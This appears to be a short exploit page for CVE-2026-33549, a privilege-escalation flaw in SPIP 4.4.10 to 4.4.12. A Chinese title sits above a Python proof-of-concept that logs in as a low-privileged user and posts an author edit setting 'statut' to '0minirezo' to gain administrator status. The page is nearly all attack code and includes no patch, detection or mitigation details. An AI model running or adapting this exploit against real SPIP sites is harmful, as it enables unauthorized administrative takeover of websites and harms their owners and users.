CVE-2026-33549: SPIP权限提升漏洞

import requests # CVE-2026-33549 PoC Concept # Target: SPIP 4.4.10 - 4.4.12 # Description: Privilege Escalation via STATUT mishandling target_url = "http://target-spip.com/ecrire/auteur_edit" # Example endpoint session = requests.Session() # 1. Login as a low-privileged user login_data = { "page": "login", "login": "low_priv_user", "password": "password123" } session.post(target_url, data=login_data) # 2. Exploit: Edit author data to escalate privileges # The 'statut' field is manipulated to '0minirezo' (Admin) exploit_data = { "id_auteur": "1", # Target author ID to modify "nom": "Admin User", "statut": "0minirezo", # Vulnerable parameter: Admin status "email": "[email protected]", "submit": "Save" } response = session.post(target_url, data=exploit_data) if response.status_code == 200 and "0minirezo" in response.text: print("[+] Privilege escalation successful!") else: print("[-] Exploit failed.")